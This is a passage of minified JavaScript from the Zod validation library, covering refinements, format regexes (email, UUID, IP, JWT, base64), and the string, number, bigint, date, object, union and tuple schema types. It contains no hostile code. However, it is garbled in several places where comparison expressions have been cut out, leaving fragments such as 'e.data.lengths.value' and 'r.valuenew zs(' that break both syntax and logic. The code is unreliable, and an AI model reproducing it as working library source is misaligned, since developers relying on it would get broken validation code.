this._refinement((a,s)=>{let i=e(a),o=()=>s.addIssue({code:oe.custom,...n(a)});return typeof Promise<"u"&&i instanceof Promise?i.then(c=>c?!0:(o(),!1)):i?!0:(o(),!1)})}refinement(e,r){return this._refinement((n,a)=>e(n)?!0:(a.addIssue(typeof r=="function"?r(n,a):r),!1))}_refinement(e){return new jr({schema:this,typeName:Oe.ZodEffects,effect:{type:"refinement",refinement:e}})}superRefine(e){return this._refinement(e)}constructor(e){this.spa=this.safeParseAsync,this._def=e,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:r=>this["~validate"](r)}}optional(){return Nr.create(this,this._def)}nullable(){return ha.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return za.create(this)}promise(){return In.create(this,this._def)}or(e){return Bs.create([this,e],this._def)}and(e){return Vs.create(this,e,this._def)}transform(e){return new jr({...je(this._def),schema:this,typeName:Oe.ZodEffects,effect:{type:"transform",transform:e}})}default(e){let r=typeof e=="function"?e:()=>e;return new Xs({...je(this._def),innerType:this,defaultValue:r,typeName:Oe.ZodDefault})}brand(){return new Xu({typeName:Oe.ZodBranded,type:this,...je(this._def)})}catch(e){let r=typeof e=="function"?e:()=>e;return new Js({...je(this._def),innerType:this,catchValue:r,typeName:Oe.ZodCatch})}describe(e){let r=this.constructor;return new r({...this._def,description:e})}pipe(e){return Ju.create(this,e)}readonly(){return Ys.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}},W5=/^c[^\s-]{8,}$/i,Z5=/^[0-9a-z]+$/,G5=/^[0-9A-HJKMNP-TV-Z]{26}$/i,K5=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,X5=/^[a-z0-9_-]{21}$/i,J5=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,Y5=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,Q5=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,eF="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",Kf,tF=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,rF=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,aF=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,nF=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,sF=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,iF=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,mT="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",oF=new RegExp(`^${mT}$`);function hT(t){let e="[0-5]\\d";t.precision?e=`${e}\\.\\d{${t.precision}}`:t.precision==null&&(e=`${e}(\\.\\d+)?`);let r=t.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${e})${r}`}function cF(t){return new RegExp(`^${hT(t)}$`)}function uF(t){let e=`${mT}T${hT(t)}`,r=[];return r.push(t.local?"Z?":"Z"),t.offset&&r.push("([+-]\\d{2}:?\\d{2})"),e=`${e}(${r.join("|")})`,new RegExp(`^${e}$`)}function lF(t,e){return!!((e==="v4"||!e)&&tF.test(t)||(e==="v6"||!e)&&aF.test(t))}function dF(t,e){if(!J5.test(t))return!1;try{let[r]=t.split(".");if(!r)return!1;let n=r.replace(/-/g,"+").replace(/_/g,"/").padEnd(r.length+(4-r.length%4)%4,"="),a=JSON.parse(atob(n));return!(typeof a!="object"||a===null||"typ"in a&&a?.typ!=="JWT"||!a.alg||e&&a.alg!==e)}catch{return!1}}function pF(t,e){return!!((e==="v4"||!e)&&rF.test(t)||(e==="v6"||!e)&&nF.test(t))}var zs=class t extends ze{_parse(e){if(this._def.coerce&&(e.data=String(e.data)),this._getType(e)!==_e.string){let s=this._getOrReturnCtx(e);return he(s,{code:oe.invalid_type,expected:_e.string,received:s.parsedType}),Pe}let n=new Zt,a;for(let s of this._def.checks)if(s.kind==="min")e.data.lengths.value&&(a=this._getOrReturnCtx(e,a),he(a,{code:oe.too_big,maximum:s.value,type:"string",inclusive:!0,exact:!1,message:s.message}),n.dirty());else if(s.kind==="length"){let i=e.data.length>s.value,o=e.data.lengthe.test(a),{validation:r,code:oe.invalid_string,...xe.errToObj(n)})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}email(e){return this._addCheck({kind:"email",...xe.errToObj(e)})}url(e){return this._addCheck({kind:"url",...xe.errToObj(e)})}emoji(e){return this._addCheck({kind:"emoji",...xe.errToObj(e)})}uuid(e){return this._addCheck({kind:"uuid",...xe.errToObj(e)})}nanoid(e){return this._addCheck({kind:"nanoid",...xe.errToObj(e)})}cuid(e){return this._addCheck({kind:"cuid",...xe.errToObj(e)})}cuid2(e){return this._addCheck({kind:"cuid2",...xe.errToObj(e)})}ulid(e){return this._addCheck({kind:"ulid",...xe.errToObj(e)})}base64(e){return this._addCheck({kind:"base64",...xe.errToObj(e)})}base64url(e){return this._addCheck({kind:"base64url",...xe.errToObj(e)})}jwt(e){return this._addCheck({kind:"jwt",...xe.errToObj(e)})}ip(e){return this._addCheck({kind:"ip",...xe.errToObj(e)})}cidr(e){return this._addCheck({kind:"cidr",...xe.errToObj(e)})}datetime(e){return typeof e=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:e}):this._addCheck({kind:"datetime",precision:typeof e?.precision>"u"?null:e?.precision,offset:e?.offset??!1,local:e?.local??!1,...xe.errToObj(e?.message)})}date(e){return this._addCheck({kind:"date",message:e})}time(e){return typeof e=="string"?this._addCheck({kind:"time",precision:null,message:e}):this._addCheck({kind:"time",precision:typeof e?.precision>"u"?null:e?.precision,...xe.errToObj(e?.message)})}duration(e){return this._addCheck({kind:"duration",...xe.errToObj(e)})}regex(e,r){return this._addCheck({kind:"regex",regex:e,...xe.errToObj(r)})}includes(e,r){return this._addCheck({kind:"includes",value:e,position:r?.position,...xe.errToObj(r?.message)})}startsWith(e,r){return this._addCheck({kind:"startsWith",value:e,...xe.errToObj(r)})}endsWith(e,r){return this._addCheck({kind:"endsWith",value:e,...xe.errToObj(r)})}min(e,r){return this._addCheck({kind:"min",value:e,...xe.errToObj(r)})}max(e,r){return this._addCheck({kind:"max",value:e,...xe.errToObj(r)})}length(e,r){return this._addCheck({kind:"length",value:e,...xe.errToObj(r)})}nonempty(e){return this.min(1,xe.errToObj(e))}trim(){return new t({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(e=>e.kind==="datetime")}get isDate(){return!!this._def.checks.find(e=>e.kind==="date")}get isTime(){return!!this._def.checks.find(e=>e.kind==="time")}get isDuration(){return!!this._def.checks.find(e=>e.kind==="duration")}get isEmail(){return!!this._def.checks.find(e=>e.kind==="email")}get isURL(){return!!this._def.checks.find(e=>e.kind==="url")}get isEmoji(){return!!this._def.checks.find(e=>e.kind==="emoji")}get isUUID(){return!!this._def.checks.find(e=>e.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(e=>e.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(e=>e.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(e=>e.kind==="cuid2")}get isULID(){return!!this._def.checks.find(e=>e.kind==="ulid")}get isIP(){return!!this._def.checks.find(e=>e.kind==="ip")}get isCIDR(){return!!this._def.checks.find(e=>e.kind==="cidr")}get isBase64(){return!!this._def.checks.find(e=>e.kind==="base64")}get isBase64url(){return!!this._def.checks.find(e=>e.kind==="base64url")}get minLength(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxLength(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew zs({checks:[],typeName:Oe.ZodString,coerce:t?.coerce??!1,...je(t)});function fF(t,e){let r=(t.toString().split(".")[1]||"").length,n=(e.toString().split(".")[1]||"").length,a=r>n?r:n,s=Number.parseInt(t.toFixed(a).replace(".","")),i=Number.parseInt(e.toFixed(a).replace(".",""));return s%i/10**a}var ho=class t extends ze{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(e){if(this._def.coerce&&(e.data=Number(e.data)),this._getType(e)!==_e.number){let s=this._getOrReturnCtx(e);return he(s,{code:oe.invalid_type,expected:_e.number,received:s.parsedType}),Pe}let n,a=new Zt;for(let s of this._def.checks)s.kind==="int"?Ge.isInteger(e.data)||(n=this._getOrReturnCtx(e,n),he(n,{code:oe.invalid_type,expected:"integer",received:"float",message:s.message}),a.dirty()):s.kind==="min"?(s.inclusive?e.datas.value:e.data>=s.value)&&(n=this._getOrReturnCtx(e,n),he(n,{code:oe.too_big,maximum:s.value,type:"number",inclusive:s.inclusive,exact:!1,message:s.message}),a.dirty()):s.kind==="multipleOf"?fF(e.data,s.value)!==0&&(n=this._getOrReturnCtx(e,n),he(n,{code:oe.not_multiple_of,multipleOf:s.value,message:s.message}),a.dirty()):s.kind==="finite"?Number.isFinite(e.data)||(n=this._getOrReturnCtx(e,n),he(n,{code:oe.not_finite,message:s.message}),a.dirty()):Ge.assertNever(s);return{status:a.value,value:e.data}}gte(e,r){return this.setLimit("min",e,!0,xe.toString(r))}gt(e,r){return this.setLimit("min",e,!1,xe.toString(r))}lte(e,r){return this.setLimit("max",e,!0,xe.toString(r))}lt(e,r){return this.setLimit("max",e,!1,xe.toString(r))}setLimit(e,r,n,a){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:xe.toString(a)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}int(e){return this._addCheck({kind:"int",message:xe.toString(e)})}positive(e){return this._addCheck({kind:"min",value:0,inclusive:!1,message:xe.toString(e)})}negative(e){return this._addCheck({kind:"max",value:0,inclusive:!1,message:xe.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:0,inclusive:!0,message:xe.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:0,inclusive:!0,message:xe.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:xe.toString(r)})}finite(e){return this._addCheck({kind:"finite",message:xe.toString(e)})}safe(e){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:xe.toString(e)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:xe.toString(e)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuee.kind==="int"||e.kind==="multipleOf"&&Ge.isInteger(e.value))}get isFinite(){let e=null,r=null;for(let n of this._def.checks){if(n.kind==="finite"||n.kind==="int"||n.kind==="multipleOf")return!0;n.kind==="min"?(r===null||n.value>r)&&(r=n.value):n.kind==="max"&&(e===null||n.valuenew ho({checks:[],typeName:Oe.ZodNumber,coerce:t?.coerce||!1,...je(t)});var vo=class t extends ze{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(e){if(this._def.coerce)try{e.data=BigInt(e.data)}catch{return this._getInvalidInput(e)}if(this._getType(e)!==_e.bigint)return this._getInvalidInput(e);let n,a=new Zt;for(let s of this._def.checks)s.kind==="min"?(s.inclusive?e.datas.value:e.data>=s.value)&&(n=this._getOrReturnCtx(e,n),he(n,{code:oe.too_big,type:"bigint",maximum:s.value,inclusive:s.inclusive,message:s.message}),a.dirty()):s.kind==="multipleOf"?e.data%s.value!==BigInt(0)&&(n=this._getOrReturnCtx(e,n),he(n,{code:oe.not_multiple_of,multipleOf:s.value,message:s.message}),a.dirty()):Ge.assertNever(s);return{status:a.value,value:e.data}}_getInvalidInput(e){let r=this._getOrReturnCtx(e);return he(r,{code:oe.invalid_type,expected:_e.bigint,received:r.parsedType}),Pe}gte(e,r){return this.setLimit("min",e,!0,xe.toString(r))}gt(e,r){return this.setLimit("min",e,!1,xe.toString(r))}lte(e,r){return this.setLimit("max",e,!0,xe.toString(r))}lt(e,r){return this.setLimit("max",e,!1,xe.toString(r))}setLimit(e,r,n,a){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:xe.toString(a)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}positive(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:xe.toString(e)})}negative(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:xe.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:xe.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:xe.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:xe.toString(r)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew vo({checks:[],typeName:Oe.ZodBigInt,coerce:t?.coerce??!1,...je(t)});var go=class extends ze{_parse(e){if(this._def.coerce&&(e.data=!!e.data),this._getType(e)!==_e.boolean){let n=this._getOrReturnCtx(e);return he(n,{code:oe.invalid_type,expected:_e.boolean,received:n.parsedType}),Pe}return rr(e.data)}};go.create=t=>new go({typeName:Oe.ZodBoolean,coerce:t?.coerce||!1,...je(t)});var yo=class t extends ze{_parse(e){if(this._def.coerce&&(e.data=new Date(e.data)),this._getType(e)!==_e.date){let s=this._getOrReturnCtx(e);return he(s,{code:oe.invalid_type,expected:_e.date,received:s.parsedType}),Pe}if(Number.isNaN(e.data.getTime())){let s=this._getOrReturnCtx(e);return he(s,{code:oe.invalid_date}),Pe}let n=new Zt,a;for(let s of this._def.checks)s.kind==="min"?e.data.getTime()s.value&&(a=this._getOrReturnCtx(e,a),he(a,{code:oe.too_big,message:s.message,inclusive:!0,exact:!1,maximum:s.value,type:"date"}),n.dirty()):Ge.assertNever(s);return{status:n.value,value:new Date(e.data.getTime())}}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}min(e,r){return this._addCheck({kind:"min",value:e.getTime(),message:xe.toString(r)})}max(e,r){return this._addCheck({kind:"max",value:e.getTime(),message:xe.toString(r)})}get minDate(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e!=null?new Date(e):null}get maxDate(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew yo({checks:[],coerce:t?.coerce||!1,typeName:Oe.ZodDate,...je(t)});var _o=class extends ze{_parse(e){if(this._getType(e)!==_e.symbol){let n=this._getOrReturnCtx(e);return he(n,{code:oe.invalid_type,expected:_e.symbol,received:n.parsedType}),Pe}return rr(e.data)}};_o.create=t=>new _o({typeName:Oe.ZodSymbol,...je(t)});var Us=class extends ze{_parse(e){if(this._getType(e)!==_e.undefined){let n=this._getOrReturnCtx(e);return he(n,{code:oe.invalid_type,expected:_e.undefined,received:n.parsedType}),Pe}return rr(e.data)}};Us.create=t=>new Us({typeName:Oe.ZodUndefined,...je(t)});var Hs=class extends ze{_parse(e){if(this._getType(e)!==_e.null){let n=this._getOrReturnCtx(e);return he(n,{code:oe.invalid_type,expected:_e.null,received:n.parsedType}),Pe}return rr(e.data)}};Hs.create=t=>new Hs({typeName:Oe.ZodNull,...je(t)});var bo=class extends ze{constructor(){super(...arguments),this._any=!0}_parse(e){return rr(e.data)}};bo.create=t=>new bo({typeName:Oe.ZodAny,...je(t)});var Fa=class extends ze{constructor(){super(...arguments),this._unknown=!0}_parse(e){return rr(e.data)}};Fa.create=t=>new Fa({typeName:Oe.ZodUnknown,...je(t)});var ta=class extends ze{_parse(e){let r=this._getOrReturnCtx(e);return he(r,{code:oe.invalid_type,expected:_e.never,received:r.parsedType}),Pe}};ta.create=t=>new ta({typeName:Oe.ZodNever,...je(t)});var xo=class extends ze{_parse(e){if(this._getType(e)!==_e.undefined){let n=this._getOrReturnCtx(e);return he(n,{code:oe.invalid_type,expected:_e.void,received:n.parsedType}),Pe}return rr(e.data)}};xo.create=t=>new xo({typeName:Oe.ZodVoid,...je(t)});var za=class t extends ze{_parse(e){let{ctx:r,status:n}=this._processInputParams(e),a=this._def;if(r.parsedType!==_e.array)return he(r,{code:oe.invalid_type,expected:_e.array,received:r.parsedType}),Pe;if(a.exactLength!==null){let i=r.data.length>a.exactLength.value,o=r.data.lengtha.maxLength.value&&(he(r,{code:oe.too_big,maximum:a.maxLength.value,type:"array",inclusive:!0,exact:!1,message:a.maxLength.message}),n.dirty()),r.common.async)return Promise.all([...r.data].map((i,o)=>a.type._parseAsync(new Er(r,i,r.path,o)))).then(i=>Zt.mergeArray(n,i));let s=[...r.data].map((i,o)=>a.type._parseSync(new Er(r,i,r.path,o)));return Zt.mergeArray(n,s)}get element(){return this._def.type}min(e,r){return new t({...this._def,minLength:{value:e,message:xe.toString(r)}})}max(e,r){return new t({...this._def,maxLength:{value:e,message:xe.toString(r)}})}length(e,r){return new t({...this._def,exactLength:{value:e,message:xe.toString(r)}})}nonempty(e){return this.min(1,e)}};za.create=(t,e)=>new za({type:t,minLength:null,maxLength:null,exactLength:null,typeName:Oe.ZodArray,...je(e)});function Ds(t){if(t instanceof cr){let e={};for(let r in t.shape){let n=t.shape[r];e[r]=Nr.create(Ds(n))}return new cr({...t._def,shape:()=>e})}else return t instanceof za?new za({...t._def,type:Ds(t.element)}):t instanceof Nr?Nr.create(Ds(t.unwrap())):t instanceof ha?ha.create(Ds(t.unwrap())):t instanceof ma?ma.create(t.items.map(e=>Ds(e))):t}var cr=class t extends ze{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let e=this._def.shape(),r=Ge.objectKeys(e);return this._cached={shape:e,keys:r},this._cached}_parse(e){if(this._getType(e)!==_e.object){let u=this._getOrReturnCtx(e);return he(u,{code:oe.invalid_type,expected:_e.object,received:u.parsedType}),Pe}let{status:n,ctx:a}=this._processInputParams(e),{shape:s,keys:i}=this._getCached(),o=[];if(!(this._def.catchall instanceof ta&&this._def.unknownKeys==="strip"))for(let u in a.data)i.includes(u)||o.push(u);let c=[];for(let u of i){let l=s[u],d=a.data[u];c.push({key:{status:"valid",value:u},value:l._parse(new Er(a,d,a.path,u)),alwaysSet:u in a.data})}if(this._def.catchall instanceof ta){let u=this._def.unknownKeys;if(u==="passthrough")for(let l of o)c.push({key:{status:"valid",value:l},value:{status:"valid",value:a.data[l]}});else if(u==="strict")o.length>0&&(he(a,{code:oe.unrecognized_keys,keys:o}),n.dirty());else if(u!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let u=this._def.catchall;for(let l of o){let d=a.data[l];c.push({key:{status:"valid",value:l},value:u._parse(new Er(a,d,a.path,l)),alwaysSet:l in a.data})}}return a.common.async?Promise.resolve().then(async()=>{let u=[];for(let l of c){let d=await l.key,f=await l.value;u.push({key:d,value:f,alwaysSet:l.alwaysSet})}return u}).then(u=>Zt.mergeObjectSync(n,u)):Zt.mergeObjectSync(n,c)}get shape(){return this._def.shape()}strict(e){return xe.errToObj,new t({...this._def,unknownKeys:"strict",...e!==void 0?{errorMap:(r,n)=>{let a=this._def.errorMap?.(r,n).message??n.defaultError;return r.code==="unrecognized_keys"?{message:xe.errToObj(e).message??a}:{message:a}}}:{}})}strip(){return new t({...this._def,unknownKeys:"strip"})}passthrough(){return new t({...this._def,unknownKeys:"passthrough"})}extend(e){return new t({...this._def,shape:()=>({...this._def.shape(),...e})})}merge(e){return new t({unknownKeys:e._def.unknownKeys,catchall:e._def.catchall,shape:()=>({...this._def.shape(),...e._def.shape()}),typeName:Oe.ZodObject})}setKey(e,r){return this.augment({[e]:r})}catchall(e){return new t({...this._def,catchall:e})}pick(e){let r={};for(let n of Ge.objectKeys(e))e[n]&&this.shape[n]&&(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}omit(e){let r={};for(let n of Ge.objectKeys(this.shape))e[n]||(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}deepPartial(){return Ds(this)}partial(e){let r={};for(let n of Ge.objectKeys(this.shape)){let a=this.shape[n];e&&!e[n]?r[n]=a:r[n]=a.optional()}return new t({...this._def,shape:()=>r})}required(e){let r={};for(let n of Ge.objectKeys(this.shape))if(e&&!e[n])r[n]=this.shape[n];else{let s=this.shape[n];for(;s instanceof Nr;)s=s._def.innerType;r[n]=s}return new t({...this._def,shape:()=>r})}keyof(){return vT(Ge.objectKeys(this.shape))}};cr.create=(t,e)=>new cr({shape:()=>t,unknownKeys:"strip",catchall:ta.create(),typeName:Oe.ZodObject,...je(e)});cr.strictCreate=(t,e)=>new cr({shape:()=>t,unknownKeys:"strict",catchall:ta.create(),typeName:Oe.ZodObject,...je(e)});cr.lazycreate=(t,e)=>new cr({shape:t,unknownKeys:"strip",catchall:ta.create(),typeName:Oe.ZodObject,...je(e)});var Bs=class extends ze{_parse(e){let{ctx:r}=this._processInputParams(e),n=this._def.options;function a(s){for(let o of s)if(o.result.status==="valid")return o.result;for(let o of s)if(o.result.status==="dirty")return r.common.issues.push(...o.ctx.common.issues),o.result;let i=s.map(o=>new Sr(o.ctx.common.issues));return he(r,{code:oe.invalid_union,unionErrors:i}),Pe}if(r.common.async)return Promise.all(n.map(async s=>{let i={...r,common:{...r.common,issues:[]},parent:null};return{result:await s._parseAsync({data:r.data,path:r.path,parent:i}),ctx:i}})).then(a);{let s,i=[];for(let c of n){let u={...r,common:{...r.common,issues:[]},parent:null},l=c._parseSync({data:r.data,path:r.path,parent:u});if(l.status==="valid")return l;l.status==="dirty"&&!s&&(s={result:l,ctx:u}),u.common.issues.length&&i.push(u.common.issues)}if(s)return r.common.issues.push(...s.ctx.common.issues),s.result;let o=i.map(c=>new Sr(c));return he(r,{code:oe.invalid_union,unionErrors:o}),Pe}}get options(){return this._def.options}};Bs.create=(t,e)=>new Bs({options:t,typeName:Oe.ZodUnion,...je(e)});var pa=t=>t instanceof Ws?pa(t.schema):t instanceof jr?pa(t.innerType()):t instanceof Zs?[t.value]:t instanceof Gs?t.options:t instanceof Ks?Ge.objectValues(t.enum):t instanceof Xs?pa(t._def.innerType):t instanceof Us?[void 0]:t instanceof Hs?[null]:t instanceof Nr?[void 0,...pa(t.unwrap())]:t instanceof ha?[null,...pa(t.unwrap())]:t instanceof Xu||t instanceof Ys?pa(t.unwrap()):t instanceof Js?pa(t._def.innerType):[],om=class t extends ze{_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==_e.object)return he(r,{code:oe.invalid_type,expected:_e.object,received:r.parsedType}),Pe;let n=this.discriminator,a=r.data[n],s=this.optionsMap.get(a);return s?r.common.async?s._parseAsync({data:r.data,path:r.path,parent:r}):s._parseSync({data:r.data,path:r.path,parent:r}):(he(r,{code:oe.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[n]}),Pe)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(e,r,n){let a=new Map;for(let s of r){let i=pa(s.shape[e]);if(!i.length)throw new Error(`A discriminator value for key \`${e}\` could not be extracted from all schema options`);for(let o of i){if(a.has(o))throw new Error(`Discriminator property ${String(e)} has duplicate value ${String(o)}`);a.set(o,s)}}return new t({typeName:Oe.ZodDiscriminatedUnion,discriminator:e,options:r,optionsMap:a,...je(n)})}};function cm(t,e){let r=qa(t),n=qa(e);if(t===e)return{valid:!0,data:t};if(r===_e.object&&n===_e.object){let a=Ge.objectKeys(e),s=Ge.objectKeys(t).filter(o=>a.indexOf(o)!==-1),i={...t,...e};for(let o of s){let c=cm(t[o],e[o]);if(!c.valid)return{valid:!1};i[o]=c.data}return{valid:!0,data:i}}else if(r===_e.array&&n===_e.array){if(t.length!==e.length)return{valid:!1};let a=[];for(let s=0;s{if(p1(s)||p1(i))return Pe;let o=cm(s.value,i.value);return o.valid?((f1(s)||f1(i))&&r.dirty(),{status:r.value,value:o.data}):(he(n,{code:oe.invalid_intersection_types}),Pe)};return n.common.async?Promise.all([this._def.left._parseAsync({data:n.data,path:n.path,parent:n}),this._def.right._parseAsync({data:n.data,path:n.path,parent:n})]).then(([s,i])=>a(s,i)):a(this._def.left._parseSync({data:n.data,path:n.path,parent:n}),this._def.right._parseSync({data:n.data,path:n.path,parent:n}))}};Vs.create=(t,e,r)=>new Vs({left:t,right:e,typeName:Oe.ZodIntersection,...je(r)});var ma=class t extends ze{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==_e.array)return he(n,{code:oe.invalid_type,expected:_e.array,received:n.parsedType}),Pe;if(n.data.lengththis._def.items.length&&(he(n,{code:oe.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),r.dirty());let s=[...n.data].map((i,o)=>{let c=this._def.items[o]||this._def.rest;return c?c._parse(new Er(n,i,n.path,o)):null}).filter(i=>!!i);return n.common.async?Promise.all(s).then(i=>Zt.mergeArray(r,i)):Zt.mergeArray(r,s)}get items(){return this._def.items}rest(e){return 